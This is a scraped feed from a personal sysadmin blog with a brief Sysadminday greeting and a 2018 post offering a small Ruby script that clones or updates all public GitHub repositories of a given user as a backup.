https://tech.feedyourhead.at/content/sysadminday2018 <span class="field field--name-title field--type-string field--label-hidden">Happy Sysadminday</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>Sysadmins are the heros who bring back our cat-pictures from the heights of the filesystem-tree. So let's honour our firefighters of the internet.</p></div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">Jul 27 2018</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/sysadmin" hreflang="en">Sysadmin</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/news" hreflang="en">News</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=268&amp;2=comment&amp;3=comment" token="Wssl8ZtZSOX4u3ylGkaWHQxezQssIMaRhR4OT18LOm8"></drupal-render-placeholder> </section> Fri, 27 Jul 2018 08:12:55 +0000 Hoti 268 at https://tech.feedyourhead.at Now is a good time to backup our github-repos https://tech.feedyourhead.at/content/now-is-a-good-time-to-backup-our-github-repos <span class="field field--name-title field--type-string field--label-hidden">Now is a good time to backup our github-repos</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>Many people are scared because <a href="https://news.microsoft.com/2018/06/04/microsoft-to-acquire-github-for-7-5-billion/">Microsoft bought GitHub</a>. I wonder why people are so shocked now. Github is just another cloud-thingy and cloud means: "it's just the computer of someone else". If "someone else" will shutdown or wipe his computer, then we better have backups. Having this in our minds I would say that it's time to make (auto)backups. I wrote this little ruby-script that clones all public repositories of a user into a directory. If the repositories already exist locally, then this script will just make a "git-pull".</p> <div class="geshifilter"><pre class="ruby geshifilter-ruby" style="font-family:monospace;"><span style="color:#008000; font-style:italic;">#!/usr/bin/env ruby</span> &nbsp; <span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'net/http'</span> <span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'json'</span> <span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'fileutils'</span> &nbsp; directory = <span style="color:#996600;">&quot;./&quot;</span> &nbsp; <span style="color:#9966CC; font-weight:bold;">def</span> help warn <span style="color:#996600;">&quot;usage: #{$PROGRAM_NAME} &lt;github-user&gt; [ &lt;dst-directory&gt; ]&quot;</span> <span style="color:#CC0066; font-weight:bold;">exit</span> <span style="color:#006666;">1</span> <span style="color:#9966CC; font-weight:bold;">end</span> &nbsp; <span style="color:#008000; font-style:italic;"># got this function from stackoverflow.com: </span> <span style="color:#008000; font-style:italic;"># stackoverflow.com/questions/2108727/which-in-ruby-checking-if-program-exists-in-path-from-ruby</span> <span style="color:#9966CC; font-weight:bold;">def</span> which<span style="color:#006600; font-weight:bold;">&#40;</span>cmd<span style="color:#006600; font-weight:bold;">&#41;</span> exts = ENV<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#996600;">'PATHEXT'</span><span style="color:#006600; font-weight:bold;">&#93;</span> ? ENV<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#996600;">'PATHEXT'</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#CC0066; font-weight:bold;">split</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">';'</span><span style="color:#006600; font-weight:bold;">&#41;</span> : <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#996600;">''</span><span style="color:#006600; font-weight:bold;">&#93;</span> ENV<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#996600;">'PATH'</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#CC0066; font-weight:bold;">split</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#CC00FF; font-weight:bold;">File</span>::PATH_SEPARATOR<span style="color:#006600; font-weight:bold;">&#41;</span>.<span style="color:#9900CC;">each</span> <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span>path<span style="color:#006600; font-weight:bold;">|</span> exts.<span style="color:#9900CC;">each</span> <span style="color:#006600; font-weight:bold;">&#123;</span> <span style="color:#006600; font-weight:bold;">|</span>ext<span style="color:#006600; font-weight:bold;">|</span> exe = <span style="color:#CC00FF; font-weight:bold;">File</span>.<span style="color:#9900CC;">join</span><span style="color:#006600; font-weight:bold;">&#40;</span>path, <span style="color:#996600;">&quot;#{cmd}#{ext}&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#0000FF; font-weight:bold;">return</span> exe <span style="color:#9966CC; font-weight:bold;">if</span> <span style="color:#CC00FF; font-weight:bold;">File</span>.<span style="color:#9900CC;">executable</span>?<span style="color:#006600; font-weight:bold;">&#40;</span>exe<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&amp;&amp;</span> !<span style="color:#CC00FF; font-weight:bold;">File</span>.<span style="color:#9900CC;">directory</span>?<span style="color:#006600; font-weight:bold;">&#40;</span>exe<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#125;</span> <span style="color:#9966CC; font-weight:bold;">end</span> <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#0000FF; font-weight:bold;">nil</span> <span style="color:#9966CC; font-weight:bold;">end</span> &nbsp; gitbin = which<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;git&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span> &nbsp; <span style="color:#9966CC; font-weight:bold;">if</span> gitbin.<span style="color:#0000FF; font-weight:bold;">nil</span>? warn <span style="color:#996600;">&quot;git-binary not found&quot;</span> <span style="color:#CC0066; font-weight:bold;">exit</span> <span style="color:#006666;">1</span> <span style="color:#9966CC; font-weight:bold;">end</span> &nbsp; <span style="color:#9966CC; font-weight:bold;">if</span> ARGV.<span style="color:#9900CC;">length</span> <span style="color:#006600; font-weight:bold;">&lt;</span> <span style="color:#006666;">1</span> <span style="color:#006600; font-weight:bold;">||</span> ARGV.<span style="color:#9900CC;">length</span> <span style="color:#006600; font-weight:bold;">&gt;</span> <span style="color:#006666;">2</span> help <span style="color:#9966CC; font-weight:bold;">end</span> &nbsp; gituser = ARGV<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#93;</span> directory = ARGV<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span><span style="color:#006600; font-weight:bold;">&#93;</span> <span style="color:#9966CC; font-weight:bold;">if</span> ARGV.<span style="color:#9900CC;">length</span> == <span style="color:#006666;">2</span> &nbsp; <span style="color:#9966CC; font-weight:bold;">unless</span> <span style="color:#CC00FF; font-weight:bold;">File</span>.<span style="color:#9900CC;">directory</span>?<span style="color:#006600; font-weight:bold;">&#40;</span>directory<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#CC00FF; font-weight:bold;">FileUtils</span>::mkdir_p directory <span style="color:#9966CC; font-weight:bold;">end</span> &nbsp; uri = <span style="color:#CC00FF; font-weight:bold;">URI</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;https://api.github.com/users/#{gituser}/repos&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span> &nbsp; resp = <span style="color:#6666ff; font-weight:bold;">Net::HTTP</span>.<span style="color:#9900CC;">get</span><span style="color:#006600; font-weight:bold;">&#40;</span>uri<span style="color:#006600; font-weight:bold;">&#41;</span> parsed = JSON.<span style="color:#9900CC;">parse</span><span style="color:#006600; font-weight:bold;">&#40;</span>resp<span style="color:#006600; font-weight:bold;">&#41;</span> &nbsp; parsed.<span style="color:#9900CC;">each</span> <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span><span style="color:#CC0066; font-weight:bold;">p</span><span style="color:#006600; font-weight:bold;">|</span> <span style="color:#9966CC; font-weight:bold;">if</span> <span style="color:#CC00FF; font-weight:bold;">File</span>.<span style="color:#9900CC;">directory</span>?<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;#{directory}/#{p['name']}&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#CC0066; font-weight:bold;">system</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;cd #{directory}/#{p['name']} &amp;&amp; #{gitbin} pull&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#9966CC; font-weight:bold;">else</span> <span style="color:#CC0066; font-weight:bold;">system</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;#{gitbin} clone https://github.com/#{p['full_name']} #{directory}/#{p['name']}&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#9966CC; font-weight:bold;">end</span> <span style="color:#9966CC; font-weight:bold;">end</span></pre></div> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">Jun 07 2018</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/ruby" hreflang="en">Ruby</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/git" hreflang="en">git</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/taxonomy/term/103" hreflang="en">Open-Source</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/backup" hreflang="en">Backup</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/tricks" hreflang="en">Tricks</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/shell" hreflang="en">Shell</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/sysadmin" hreflang="en">Sysadmin</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Linux" hreflang="en">Linux</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=267&amp;2=comment&amp;3=comment" token="oPcbvqzYUcugBxbk0j0w2JLHdMWOfeGFn5WU98XCfbI"></drupal-render-placeholder> </section> Thu, 07 Jun 2018 10:41:24 +0000 Hoti 267 at https://tech.feedyourhead.at